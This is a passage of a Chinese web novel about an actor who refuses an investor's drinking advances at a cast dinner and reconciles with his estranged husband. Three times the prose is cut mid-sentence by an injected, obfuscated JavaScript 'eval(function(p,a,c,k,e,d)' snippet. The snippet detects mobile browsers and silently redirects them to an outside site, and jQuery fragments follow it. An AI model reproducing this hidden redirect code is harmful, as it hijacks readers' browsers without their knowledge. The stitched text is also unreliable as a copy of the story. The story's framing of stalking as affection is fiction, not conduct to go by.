说是冷战也算不上,毕竟他们之间的关系,这样很长一段时间不联系也很正常。
就跟以前一样。
这回是久到怀栖的脚养了一个月左右,直接养到了进组。
进组当天还是闻华亲自把人送去剧组下榻的酒店,临走前还叮嘱怀栖一定要小心安全,他的脚还没完全好透,闻华生怕又出什么意外。
意外暂时没出,不过进组没几天怀栖就遇到了很不喜欢的事情,聚餐。
发起聚餐的是他们这部剧的男主,叫肖帆。
肖帆前段时间凭借一部古偶爆火,现在风头正盛,脾气好,在剧组人缘也好,进组当天还请全组人喝了奶茶,怀栖也分到了一杯。
他是怀栖待过的剧组中不算是最火,但是是脾气最好最没架子最大方的那个。
就是肖帆总是似有若无会跟他聊天。
明明两人根本没什么对手戏,在剧组碰上的机会也不多,但每次在酒店碰到,肖帆都会主动跟他打招呼,还会拉着他聊几句,发现他只对演戏感兴趣之后,还会跟他讨论剧本。
出于礼貌,怀栖只能应和他。
在商家这样的家庭长大,虽然因为被宠爱而可以特殊地很少参加各类宴会,但这种表面功夫怀栖还是会做的。
但聚会这种事他实在很不喜欢,不喜欢和一群不熟的人吃饭喝酒,总觉得空气中充满了陌生的细菌。
只是肖帆甚至都亲自跑来敲他的门,说接他一起过去,身后还跟着好几个其他演员。
他一个没什么戏份甚至很快就能杀青的小演员,要是这都拒绝了,就显得太不知好歹了。
但怀栖也不在意这种事,就是没等他拒绝,他就被人架着出去了。
肖帆请客的地方是一家名气较大的私房菜馆,保密措施也做得不错,看得出来他这回花了不少钱,人也确实很大方。
但到了之后怀栖才知道,来吃饭的不只是他们剧组,还有几个投资商。
原本热闹的几个小演员看见那么多投资商在场,立马也变得不自在起来,挤在一起你看我我看你。
只有肖帆还神态自若,看上去只有他知道这些投资商也会在场。
比起其他人,怀栖显得淡定许多,自顾自找了个角落的位置坐下。
但也没动筷子。
人太多细菌太多,他吃不下去一点。
肖帆显然是见惯了这种场面的,在导演制片人还有投资商之间游刃有余,还拉着女主一起,带着女主认人。
怀栖看了一会儿就兴致缺缺低头去玩手机了。
庄望正在给他发消息,控诉他哥又克扣了他的零花钱。
怀栖发了个点蜡的表情过去,[还能活下去吗?]
庄望:[勉强苟活]
庄望:[话说你侄子的生日宴你准备送什么啊?]
侄子?
怀栖扣了个问号过去。
什么侄子。
庄望:[不会吧你不知道吗?贺谦儿子啊!不是下个月请客吗?我家都收到请柬了你没收到?]
怀栖确实没收到一点消
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087526|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
息。
不过他记得贺谦儿子今年应该正好十岁。
往年没有大办,出于情谊,他都会托人送礼物过去,但一直没能记住日期。
庄望:[贺崤犯什么病这都不跟你说?]
怀栖还没说什么,庄望已经先骂起来了。
庄望一直不太认可贺崤。
毕竟比他和怀栖都大了那么多岁,又不熟不知根知底。
还不如庄厉。
按照道理贺家那边并不会不通知他。
怀栖突然想起一个月之前贺崤跟他说的有事。
到最后贺崤也没说是什么事,也有可能说了他没看见。
因为挂电话后避免自己乱发脾气,他把贺崤的对话框免打扰加折叠了。
怀栖:……
翻了好久才翻到从联系人里翻到贺崤,戳进去一看果然有关于贺谦儿子生日的事情,贺崤的发消息时间还恰好就在视频的那一天,就在他控制不住挂视频之后没几分钟。
这么久过去怀栖其实已经没那么生气了,那时候顶多是因为受了伤加上杂志的事情情绪上头。
顿时有些心虚,怀栖立马回复庄望:[他说了,是我忘了]
要回去参加生日宴的话,如果贺崤有时间,他们肯定需要一起回去。
一起回去的话,免不了要在长辈面前装出一副关系很好的样子。
一想到这个,怀栖就又有点不太自在。
但贺崤也不一定有时间。
毕竟前两年逢年过节他都在外拍戏,最近这段时间贺崤也在拍新电影。
下个月的话,估计他的电影也拍不完。
但问肯定还是要问的,就是不知道是现在问还是等生日宴前几天。
还没选好时间,怀栖面前突然多了一杯酒。
是肖帆递来的酒。
桌上的座位不知道什么变了样,原本坐在演员堆里的女主这会儿坐在了一位投资商身边,脸上带着苦涩的笑意,不少人正看着怀栖这边。
明明他这边是角落来着,还不是主桌。
用眼神问肖帆怎么回事,大概是看出他的茫然,肖帆试图一只手搭在他的肩膀上,但被他不着痕迹躲了过去。
肖帆好像也没在意,只是昂了昂下巴看向某位投资商坐的地方,“去敬钱老板一杯吧?”他说着弯腰凑到怀栖耳边低声说:“钱老板下部剧还缺个男二,他很看好你。”
大家都是成年人,怀栖立马明白他话里的意思。
这是要让自己去给人陪酒?!
不可能单单是陪酒。
喝杯酒就能拿男二的话,那也太轻松了。
而肖帆口中的那位钱老板正笑眯眯地看着怀栖这边,见怀栖看过去,还举起酒杯朝他晃了晃。
怀栖也没躲,淡淡地看着钱老板,毫不犹豫也没有丝毫怯场地拒绝,“不去。”
肖帆估计早就做好了这种打算,友好地笑了笑,“只是喝点酒而已,钱老板人很大方的。”
没等怀栖说点什么,原本坐在钱老板一桌的制片人接了个电话回来脸色就变了,朝肖帆使了个眼色,又凑到导演和几个投资商那儿说了点什么,几人皆是脸色一变,甚至还让女主坐回了原来的位置。
知道发生了什么事的女主狠狠松了口气,往门口看了好几眼。
就好像有什么重要人物要过来视察一样。
众人都很好奇怎么回事,除了怀栖。
怀栖现在只想离开。
他没想过会是这种性质的聚餐。
娱乐圈鱼龙混杂这种事情确实层出不穷,但怀栖没想到有一天居然会落到自己头上。
没等他找好机会,包厢的门被服务生推开。
跟在服务生后面进来的人穿着随意的休闲装,脸上挂着恰到好处的笑,身高腿长,那张脸分外熟悉。
怀栖:……
谁能告诉他为什么来的人会是许久没见的贺崤?!?
18.第 18 章
贺崤进来之后包厢内的气氛比之前严肃了许多,那些投资商也不再随意喝酒调笑,一个个正儿八经得跟在开什么会一样。
知道的知道贺崤是影帝,不知道的还以为贺崤是玉皇大帝,贺崤的地位在众人中间明显很高。
这也很正常,光是他身后的贺家,大概能抵在座这几个投资商的所有家产,更别提他们这个圈子里早就有人在传早两年贺家就和门当户对的商家联姻,虽然没有婚礼也没有任何实质性证据传出来,但这几年两家商业合作确实密切。
贺崤似乎并没发现角落里的自己。
怀栖偷偷瞥了他好几眼发现他压根没往自己这边看过。
别说发现他,就连看都不看他一眼。
也很正常。
贺崤看起来就像是来社交的,他的社交技能很强,没一会儿就和那几个投资商聊成一片,每个人都敬了杯酒,贺崤几乎来者不拒,没多久就喝空了一瓶酒。
也不怕喝醉。
哦,喝醉了也跟自己没关系。
但在看见贺崤和那位钱老板交谈盛欢,还连碰了两杯之后,怀栖终于看不下去,放下碰在手里一直没喝的酒杯起身,还没来得及偷偷离开,本该去主桌的肖帆不知道什么时候又去而复返,非常不依不饶地凑到他耳边低语:“你要走吗?”
怀栖不想理他,没有说话。
肖帆依然一副平易近人脾气很好的模样,说的话却令人作呕。
“先别走,贺崤哥一会儿就走了,等他走了我们再好好吃点,我看你都没怎么吃东西。”
大概在肖帆眼里他是因为贺崤的到来而不自在。
不自在是不可能的,他只是不想看见贺崤而已。
贺崤看不见他也正好,免得可能会被人发现两人其实认识。
本来不打算再搭理肖帆,但片刻后怀栖还是没忍住问:“贺崤哥?”
听起来好像他跟贺崤很熟。
贺崤看着也跟钱老板很熟。
物以类聚人以群分。
怀栖的心骤然冷了下来,甚至有点作呕。
也不知道是因为肖帆和钱老板的暗示还是因为贺崤,又或者二者皆有。
见他感兴趣,肖帆笑得温和,“对啊,我们之前见过,还一起吃过饭。”
一起吃过饭?
是像现在这样的一起吃饭吗?
思维避免不了发散,但怀栖不是轻易会被带偏的人,如果贺崤真是那样的人,在座的这群人就不会在知道他要过来之后变得那么规矩,连让人陪酒的事都不敢干了。
但很多时候人也没办法控制自己的想法。
尤其是面对自己不信任的人。
而且这个不信任的人在一个月之前还惹怒了他。
确实很容易造成偏见。
似乎是为了证明自己人脉广泛确实和贺崤认识,肖帆示意怀栖看着,然后举着酒杯去了贺崤和钱老板那里。
钱老板跟肖帆关系确实不错,见他过来,还特意向贺崤介绍,“贺崤,这位是肖帆,演那个爆火的剧的,你看了没?”
半勾起唇角,贺崤笑着打招呼,“听过,很火,演得不错。”
肖帆姿态放得很低,连忙说不敢当。
“听说你是这部剧的主演?”贺崤看起来很感兴趣。
钱老板哈哈两声,拍了拍肖帆的屁股示意肖帆自己多说点。
肖帆自然应得很快,他又很会说话,正准备试图介绍他们这部剧,贺崤已经打断了他的话,状似关心地说:“主演怎么还坐那么偏僻的地方,钱叔叔安排不到位。”
肖帆愣了下,瞬间心头涌上狂喜。
贺崤这话听起来像是一直在关注着他!
跟着钱老板可比跟着贺崤有前途多了!
但他在这群资本中间周旋久了,也知道自己情绪不能外露,他得给自己安一个好的人设。
肖帆笑着:“是我自己为了陪朋友才没听钱先生的话,我朋友性子比较内向。”
朋友?
贺崤眉头微挑。
是吗?朋友。
见他们相谈甚欢,怀栖心中越发不快。
贺崤居然跟这样的人关系这么好。
他就不信贺崤这么一大把年纪不知道这群人什么德行,贺崤又不是什么第一次进娱乐圈的毛头小子!
就算是表面功夫也没必要做成这样吧?
明明是他们剧组的聚餐贺崤却特意跑来,只和钱老板聊了这么久,摆明了就是为了对方来的。
这钱老板根本没有什么大来头。
怀栖根本连听都没听过他的名字。
根本没吃东西的胃里一阵翻涌,好在他还保存着一丝理智,趁着焦点在贺崤身上,他直接躲着人群离开了包厢。
洗手间里,怀栖看着镜子中的自己。
虽然已经很努力地让自己冷静,但还是不可避免地冒出之前从来没冒出过的念头。
冷水打湿脸也压不下去这样的念头。
他可以接受贺崤性格和他想的不一样,毕竟本来就没有什么培养感情的打算,也可以接受和贺崤吵架,反正他们也一直不怎么联系……但就是不能接受贺崤和那群人一样。
再次洗了把冷水脸,水直接流进了眼睛里,刺得怀栖没法睁开眼睛,只能半眯着眼摸洗手台上的纸巾。
并不清晰的视线里似乎出现了一只不属于他的手,这只手拿着纸巾向他递来,手的主人似乎笑了声。
光听这熟悉的笑,怀栖就猛地退了后两步。
“我是什么洪水猛兽?”怀栖动作太大,大得贺崤都怀疑他是不是把自己认成了什么丧尸,“还是这么久没见,你已经不认识我了?需要再重新认识一下吗?”
果然是贺崤。
他现在居然已经到了听声识人的地步。
怀栖抿紧唇干脆用手捻掉眼睛里的水,视线逐渐变得清晰,贺崤那张脸也出现在他眼前,下意识看了眼四周,确认洗手间里没有别人在之后,怀栖才警觉地看向贺崤。
贺崤挑着眉,“怎么这么看我?真不认识了?”
他这语气说得就好像之前什么都没发生过一样。
那么自如。
沉默地看了他一会儿,“有什么事吗?”
跟对陌生人说话没区别。
还以为这么久不见怀小少爷起码得消气了点,没想到现在直接对他生人勿近了。
恨不得离他几米远。
贺崤嘶了声,“你这样我很伤心。”
听起来他好像很委屈一样。
他在委屈什么?
怀栖盯着他片刻,贺崤摆出一副受伤过度的模样,“有了新人就不认识旧人,他比我年轻是吧?”
微微一顿,怀栖感觉事情不太对劲。
贺崤在说什么胡话?
什么比他年轻?
没等他想明白,贺崤就又接着道:“但看起来没我高没我帅也没我有钱,要不你还是吃回头草吧。”
怀栖:“……”
忍了忍,还是忍无可忍,“你在胡说八道什么?”
“终于肯理我了?”贺崤立马敛了那副怨夫姿态。
并不想理他,并且想离他远一点。
在贺崤试图往前走一步的时候,怀栖立马后退一步,指使贺崤:“你就站那别过来。”
还以为贺崤可能会说点什么反驳,没想到贺崤还真站在原地不动了。
意外地很听话。
但听话也掩盖不了那些事情。
现在洗手间里就他们两个人,但保不齐有人看见他们进来了。
待太久了指不定会被人怀疑。
得现在就离开。
他也不想再和贺崤待在一个空间。
正准备抬腿,贺崤却骤然间出声:“怀小少爷,请问我要当木头人当多久?”
“待到我离开。”怀栖特意挑了离贺崤最远的路线,但这人正好站在门口不远处,要去门口必须得经过他身边。
怀栖刚走到他身边的最远距离,就被他伸出手一把抓住了胳膊。
那种作呕的感觉瞬间冒了上来。
怕被外面的人听见,怀栖也没敢出声,只敢在贺崤手中挣扎。
只不过贺崤力气大,贺崤不松手,他这么挣扎也没有用。
而且也不知道是不是力的反作用,他越挣扎,离贺崤越近。
最后直接靠近了贺崤怀里。
贺崤的另一只手搂在了他的腰上。
两人视线相触的瞬间,怀栖停止了挣扎,扭头看了眼搭在腰上的手,刚张了张嘴想骂人,贺崤跟知道他要干什么似的,一把捂住了他的嘴。
贺崤跟个流氓似的提醒他:“外面随时会有人,你确定要叫吗?被人听见的话,大概会误会我们在洗手间里做了什么。”
怀栖:“……”
“唔唔”两声,怀栖还是在贺崤掌心底下骂出声来:“你有病吗贺崤。”
“你要是不跑,我有病也不是不行。”怀栖跑路的本事实在是太大,好不容易才抓到他一次,总不能再让他跑了。
怀栖:“……”
怀栖努力瞪他。
闻到他身上的酒味又立马偏过头去不愿意再看他。
仿佛那会提醒着自己,贺崤和那群人没什么两样。
怀栖逐渐安分下来。
他向来软硬皆吃。
也不知道贺崤要干什么,莫名其妙把他堵在洗手间不让他离开。
但这样也正好。
也许正好能和贺崤提……离婚的事情。
这段婚姻的选择权一直在他手上,就算贺崤不愿意,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095754|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也可以直接终止。
想到这里,怀栖心脏莫名跟被踹了一下似的。
他不再挣扎,贺崤却依然保持着抓他手捂他嘴的姿势,看起来像什么犯罪现场。
怀栖瞥了眼贺崤身后的镜子,忍住了想踹人的冲动。
好在除此之外贺崤也没做什么,只不过靠得很近怀栖闻到更多来自他身上酒味,还有他偏高的体温和偏快的心跳。
仿佛刚刚做了什么剧烈运动一样。
连着让他都有点热了起来。
时间一分一秒过去,贺崤居然还没说话,怀栖也越来越热,终于还是忍不住:“你要说什么?”
刚刚没发现,现在突然发现被捂着嘴说话的时候会似有若无地亲吻到贺崤的掌心。
怀栖瞬间顿住。
贺崤像是什么也没发现一般,跟感叹似的啊了声,“喝了点酒脑子有点乱,差点忘了,看见我裤子左边的口袋了吗?伸进去。”
怀栖:“?”
莫名其妙的要求。
为了尽早离开,在贺崤的注视下,怀栖还是把手伸进了贺崤的口袋。
里面只有一部手机。
贺崤喉结滚了好几下,“密码是我生日。”
这是要自己看他的手机?
怀栖狐疑地看向贺崤。
贺崤挑眉,“你不记得我生日?”
怀栖:“……记得。”
贺崤生日在愚人节,这种特殊的节日想忘记都难。
贺崤似乎松了口气,又笑了声。
有什么好笑的……犹豫了下,怀栖把贺崤手机解了锁。
反正是贺崤让他看的。
说不定还能看见什么不该看 。
然而事实是他压根不好意思点进贺崤手机里的任意一个软件。
还是贺崤让他点开微信。
怀栖:……
怀栖莫名紧张起来。
也不知道会不会看见什么能让贺崤净身出户的证据。
然而事实上完全没有。
他甚至都没找到自己的微信在哪里,贺崤就让他点开和备注为张律师的人的聊天框。
怀栖对这个张律师有印象,他也有对方好友。
这人是给他俩当初结婚做财产公证的律师。
映入眼帘的是一份文件,文件名是股权转让。
抱着好奇心,也不需要贺崤继续指导,怀栖就直接戳了进去。
在看见转让方的时候,怀栖不可置信地看向贺崤。
贺崤勾着唇角没有说话,好像自己做了件什么愉悦的事情。
怀栖盯着他看了好久,试图从他脸上看出点什么答案,但最后还是什么也没看出来,而贺崤被看了这么久甚至没有一点要躲避的意思,还是怀栖率先败下阵来,挪开眼睛,狐疑地戳着贺崤的手机屏幕问:“为什么突然把杂志社转给我?”
还正好是要将他在时尚圈封杀的那家杂志社。
总不能是贺崤知道了那件事。
贺崤手下产业那么多工作那么忙,总不可能闲着去关心这种破事。
然而贺崤似乎真的很闲,闲着关心这些破事。
贺崤咳了声,“免得有人要被时尚圈封杀,到时候我成了罪魁祸首。”
怀栖:“……”
贺崤笑着:“现在你自己当罪魁祸首,我安心多了。”
谁要当这个罪魁祸首了?
怀栖抿着唇一言不发。
送他杂志社难道就能代表那件事没有发生过吗?
那件事发生的时候老板还是贺崤好吗?
也不知道贺崤是不是有什么读心术,好像知道他在想什么似的,又慢条斯理地说:“忘了说,涉事的工作人员我已经处理了,就在你挂我视频的第二天,是的,第二天,但是很可惜那时候那时候我不知道要怎么把这件事传达给你。”
说得好像是他的错一样。
怀栖想堵住贺崤的嘴。
一说起来贺崤就没完没了,一副邀功的样子,“你要看看怎么处理的吗?也没什么,就是查了点他吃里扒外的证据让他罚了点钱并且行业封杀,顺便还查到这人本来想把自己的亲戚塞进来拍摄没想到摄像师居然让你顶了他内定的位置,他气不过只好找你撒气,以我专业的眼光来看你那时候的表现很出色,我们的摄像师眼光比项目负责人眼光更加毒辣。”
怎么听起来那么像在拍马屁?
怀栖太清楚自己那天什么表现了。
但不得不承认这种睁眼说的瞎话让他心情逐渐愉悦。
当然也就那么点愉悦而已。
而贺崤低笑了声,意有所指地看向怀栖鼻子下方,把自己的手往下挪了挪,“现在你要是气还没有消想撒气的话……”他笑着把手递到怀栖嘴边,还弯了点腰凑近,“也可以咬我。”
19.第 19 章
谁要咬他?
也不知道贺崤喝完酒出来有没有洗手。
怀栖立马偏过头,趁着贺崤不再捂着自己立马挣扎着往后退。
大概是没有注意,这回轻而易举就被他挣脱开,他瞬间退到了墙边,离贺崤将近一米距离的地方。
门就在旁边,怀栖的手还没碰上,门把手突然被外面的人转了两下,紧接着传来一个男人说话的声音。
“奇怪,门坏了吗怎么打不开?”
怀栖瞬间屏住了呼吸,生怕这人进来发现自己和贺崤待在一起。
那样会很麻烦。
好在这人发现门打不开以后徘徊了一会儿就离开了。
松了口气抬起头,正好对上贺崤似笑非笑的表情。
直觉没什么好事,怀栖立马警觉起来。
果不其然,贺崤意有所指地看了眼门的方向,还故意压低了声音:“怎么像是在偷情?”
怀栖:“……”
他就知道!
他选择直接忽略贺崤这话。
贺崤说着还没完了,“你就没点表示?”
“什么表示?”怀栖平视他。
贺崤哀怨地叹了声气,“你这是听完转头就忘?那我辛辛苦苦跑去查了一晚上监控夜不能寐第二天马不停蹄丢下本职工作跑去处理杂志社的工作算什么?”
当然没有忘。
怀栖就是不知道怎么回应这件事。
平心而论他当然是高兴的,虽然他也没太把这事放在心上,那天情绪上头罢拍的罪魁祸首还是脚伤。
但贺崤确实去处理了这件事。
如果没有后面自己因为情绪上头直接挂掉贺崤视频的话,他肯定很坦然就接受了这样的处理方式。
但仔细一想这件事本来就怪贺崤。
要不是贺崤睡在沙发上导致自己半夜去看他,再导致自己脚受伤,也根本不会发生后面的事情。
仔细一想,罪魁祸首也确确实实是贺崤。
想通了这一点,怀栖立马昂了昂脑袋,“这本来就是你应该做的。”
“嗯?”贺崤似乎没料到这样的答案,意外地挑了下眉。
怀栖:“你嗯什么?”
“认可你的意思,确实是我该做的。”没想到贺崤居然没有乱说话,甚至还笑着点了点头,态度好得怀栖居然不知道该说些什么好。
气氛顿时变得微妙起来。
然而没能微妙两秒,怀栖手里的手机响了。
不是他的,是贺崤的手机。
差点忘了把手机还给贺崤。
递过去的时候,怀栖不小心看见来电备注的第一个字是钱。
原本被遗忘的事情立马被勾了起来,连带着本来被安抚好的情绪也瞬间消散。
差点忘了贺崤和他们混在一起的事情。
没等他有什么反应,铃声陡然停止。
贺崤居然直接按掉了电话。
微微一愣,怀栖视线从贺崤手机上瞥过,“说完了你可以走了。”
“这么急着赶我走?”
这话说得好像洗手间是他家一样。
怀栖没什么好气:“那你留在这,住在这也行,我给你让位置。”
说完他就想转身离开。
刚侧过身,手腕又一次被抓住。
贺崤今天似乎很喜欢抓他。
力道还不小,压根就挣脱不开。
怀栖干脆直接放弃挣扎,眼睛一眨不眨盯着贺崤看,只不过板着脸摆明了心情又开始不好。
怀小少爷确实什么情绪都摆在脸上,就是这情绪变得也太快了点,贺崤用另一只手晃了晃手机,还没来得及说什么,情绪变化很快的怀小少爷似乎明白了他什么意思,抢在他前面哦了声,声音冷冰冰的:“钱老板都催你了你还不去?”
不过彻底误会了他的意思。
原来是因为自己要走而生气了。
怎么这么像因为主人要出门上班而生气挠门的猫。
贺崤忍住笑意,“你朋友难道没有催你回去?”
朋友?
他在那里哪来的朋友?
怀栖在剧组很少和人交好,就算是有交流也都是保持着一定距离,他不喜欢交朋友,更不喜欢和不知根知底的人交朋友。
见他表情茫然,贺崤慢条斯理好心提醒,“一直陪在你身边和你交谈甚欢,还凑在你耳边和你说悄悄话,看起来关系亲密,哦,年纪还比我小,就是长得没我帅没我高没我有钱。”
后面这段话怎么听起来那么耳熟?
回想了一下怀栖终于反应过来了,贺崤一开始说的那段胡话居然是在说肖帆?!
明明他自己和肖帆的关系才更亲密才对吧!
提起这件事怀栖就越发不悦,许久没出现的反胃感又一次涌了上来。
被贺崤抓在手里的手腕更是难受,怀栖想也没想就上前一步直接踩住贺崤的脚,脚下一点也没留情面,贺崤顿时嘶了声。
怀栖怒目而视,“不是你跟他关系好吗?你们不是还一起喝酒吗?还有说有笑!”
“你这么关心我一直在看我……”
“还有那个钱老板!现在在我面前装什么,你直接回去就好了,我也不会留在那里碍你的事。”
贺崤的话直接被打断,怀小少爷似乎产生了什么误会,他越听越不对劲,一直等怀栖说完,他也没有出声。
这样的沉默让怀栖觉得他就是默认了。
果然自己猜的没错。
“我们之前说过了婚姻里不允许出现一点背叛……”
“等等,不允许蛮不讲理,我什么时候又背叛了?”贺崤一头雾水,酒精作用下越发头疼,也不知道该说两人之间确实存在着严重的代沟,还是该说怀栖对他完全没有一点信任。
这点认知让贺崤的情绪难免低落起来。
他垂着眼一瞬不瞬盯着怀栖,怀栖依然板着张脸看他,看起来张牙舞爪。
这回确实伸了爪子。
贺崤的眼睛十分深邃,直直看人的时候总有种深情的错觉。
被这么直勾勾看着,到了嘴边的话往里缩了缩,好一会儿怀栖才重新组织语言,“有没有你自己心里不清楚吗?”
“难道你不知道那个钱老板是什么样的人吗?我不信你一点都不知道,你都跟他混那么熟了,为了他专门跑来别人的饭局,别跟我说是有几百个亿的大生意要跟他谈!”本来晚上就没吃东西,情绪起起伏伏太大,又说了这么一长串话,不仅嗓子哑了连唇色都泛白了。
看起来易碎又可怜。
让人完全听不到他那凶得要命的语气。
贺崤闭了闭眼,“你以为我过来是为了钱老板?还有那个谁……?”
“肖帆!那不然呢?”怀栖又使劲踩了踩贺崤的脚。
贺崤面色终于变了变,闷哼了声:“轻点,明天还得拍戏,踩瘸了你扶着我拍戏?”
这种时候还有心情乱说话。
果然就是真的吧?
怀栖还是默默松了松脚。
他也没打算把人踩成瘸子。
“那也不是不行,但你口中的那个钱老板……多亏了你我才知道他姓钱,至于那个肖什么……我也不认识他。”贺崤明显痛得表情痛苦,说的也不像是假话。
辨认了一会儿他是不是在演戏,但似乎又没有演的必要,怀栖抿了抿唇。
贺崤又嘶了声,“我为什么要来找他们?你来洗手间我就跟着你过来了,难道你还看不出来我是为了谁来的吗?”
这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101143|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸的委屈是怎么回事?
仔细回想一下好像确实是这样。
怀栖又默默往回缩了缩脚。
狐疑地问:“你真的和他们不熟?不熟你怎么会和他喝那么多酒?还一直和他喝?”
“嗯……那个位置是最佳观赏地。”
贺崤又开始说胡话,怀栖踹了踹他被踩的脚。
贺崤痛苦地皱起眉,还能笑得出来:“当你认可我的社交技能了。”
怀栖:“……”
谁认可他的社交技能了。
但听起来又没什么问题。
毕竟像贺崤这样在娱乐圈待了这么多年的人,又顶着贺家二少爷的身份,早就不知道经历过多少磨炼,有这种把不熟的人在短短一分钟内聊成跟熟人一样也不是不可能。
而且贺崤如果是为了他们过来,就不可能和自己在洗手间相遇,也就不可能把手机给自己看。
那自己岂不是误会了贺崤?
还是这样严重的误会。
他甚至还因此死死踩了贺崤一脚。
怀栖:……
怀栖心虚地低头看了眼贺崤的脚,看起来好像没有被踩坏,至少还能站着。
但看贺崤的表情也好不到哪里去。
他默默伸出手反过来扶住贺崤的手腕。
这种误会他是绝对不会告诉给贺崤听的。
说出来就是对贺崤极大的侮辱。
怀栖现在也回过劲来了。
回想一下,他本来就应该把注意力放在那群知道贺崤要来而立马安分的人身上。
包括钱老板。
但是……等等,贺崤怎么会知道自己在这里?
像是终于找到了转移话题的方式,怀栖立马把这个问题问出了口。
“这个啊,我说我找人跟踪你的行程你会骂我吗?”贺崤一点没有跟踪别人的不好意思,说得坦坦荡荡,说完他又顿了顿,弯腰凑近怀栖,两人额头几乎要贴在一起,“而且就算我跟他们关系不错,你怎么生气成这幅模样?难道是——”
怀栖心头一跳。
贺崤低笑一声,吐出三个字:“吃醋了?”
他吃什么醋?!
他明明就只是误会了而已。
虽然在看见贺崤和那个肖帆说话的时候不是很高兴,但那肯定也是因为误以为他们人以群分。
怀栖板着脸,“那倒不是,就是钱老板想挖你的墙角罢了。”
提起这件事他心底还是有点不适。
但他也不想让贺崤误会自己是在吃醋。
当然也带了告状的意思。
反正以贺崤的手段,他肯定会去处理。
怀栖不想待在有那样投资商的剧组里,这种事有了第一次就有第二次。
应该会处理吧。
之前的事情自己没说他都去处理了。
“嗯?”但贺崤只是发出了一个单音节。
怀栖瞬间不悦:“你又在……”
刚吐出三个字,肩膀上陡然多了一份成年男人的重量。
贺崤突然……跟没什么骨头似的靠在了他身上,重得要命,把他靠得踉跄着后退,好在背后是墙。
而贺崤身上的酒味和超出常人的温度也一并传了过来。
怀栖瞬间愣住。
轻轻推了推贺崤,他也没什么反应。
发烧了?
昏过去了?
怎么会这么突然……
总不能是被他踩的……
刚要陷入自责,耳边响起贺崤低哑的似乎不太正常的声音。
贺崤就说了三个字。
“知道了。”
明显是在回应他刚刚的告状。
像是用尽了最后的意识,然后就彻底没了动静。
20.含入v公告
贺崤发烧了。
这件事发生得太突然,导致贺崤助理接到怀栖电话的时候还怀疑自己是不是在做梦。
早在两人结婚的时候两人就互相存过联系方式,以备不时之需,不过这么久以来双方一直没有过任何联系。
洗手间里根本没有能坐的地方,而贺崤现在跟座大山一样压在自己肩膀上,怀栖说话都有些费劲,只能靠着墙面支撑着自己,冷静地指挥贺崤助理,“来的时候记得把脸遮住,如果你被人认出来,你工作就没了。”
还在震惊两人为什么会在洗手间的助理:“……好的老板。”
他现在属于两人的婚后资产,怀栖也是他老板。
“再带件外套。”
简短地吩咐完,怀栖就支撑不住让手机顺着自己的肩膀滑到地上去了。
贺崤比他高又都是肌肉重得要命,他能撑这么久已经算是这段时间在剧组吃那么多苦锻炼出来的成果了,只不过修养了那么久的脚腕似乎又开始有要发作的趋势。
等贺崤醒了他一定要找贺崤算账。
摸了摸贺崤后颈滚烫的皮肤,怀栖难得在贺崤面前表现出平日里的冷静和淡然。
这人明明刚刚还是生龙活虎的模样,陡然间变得这么安静,怀栖还有点不习惯。
偏过头去盯着贺崤靠在自己肩膀上的脸,只有睡着的时候贺崤的脸才发挥出了它最大的作用。
不过刚刚贺崤的眼皮是不是动了动?
正当怀栖凑近准备近距离观察的时候,洗手间外突然传来鬼鬼祟祟的敲门声,混着鬼鬼祟祟的呐喊声,来自贺崤的助理周松。
巧的是怀栖打电话的时候周松就在隔壁商场待在,当然是因为贺崤在得到怀栖少爷在这边聚餐的消息后非要跑过来,生怕老板被狗仔拍到行程遭受围堵的周松只能躲在隔壁商场静待指示。
没想到等到了老板发烧昏迷的消息。
在看见靠在怀栖少爷身上的自家老板的时候,把自己捂得严严实实的周松连忙把人接过来。
怀栖也没有要跟他合力把人抬出去的想法,也顾不上去研究刚刚贺崤眼皮到底有没有动的事情,等周松把人接过去之后直接把周松带来的外套一股脑盖在了贺崤头上,这样别人也完全认不出来这是贺崤了,只会认为是某个喝多了的醉汉。
看着脑袋上蒙着衣服大概从没这么出门过的贺崤,周松:“……”
有点担心把老板闷死。
但不敢违抗怀栖的做法。
怕被有心人士拍到,三人还是分批出去的,在车上等怀栖的出来的功夫,简单检查了一下自家老板还能撑多久会不会从此一觉不醒的周松在看见老板睁眼的那一瞬间吓了一跳。
贺崤看起来眼神还算清明,不过皮肤确实滚烫,并不是装病。
周松鬼鬼祟祟往车外看了眼,确认怀栖还没过来后才跟做贼一样问了问老板的身体状况,得到没什么大碍的回答后松了口气,“那我们现在回酒店吗老板?”
贺崤眼皮动了动,“不去,酒店容易被拍。”
周松:“?”
你过来的时候就没想过会被拍吗!
没等周松说点什么,他就隐隐看见有人从远处跑过来,贺崤动作比他还快,立马闭上眼睛装死。
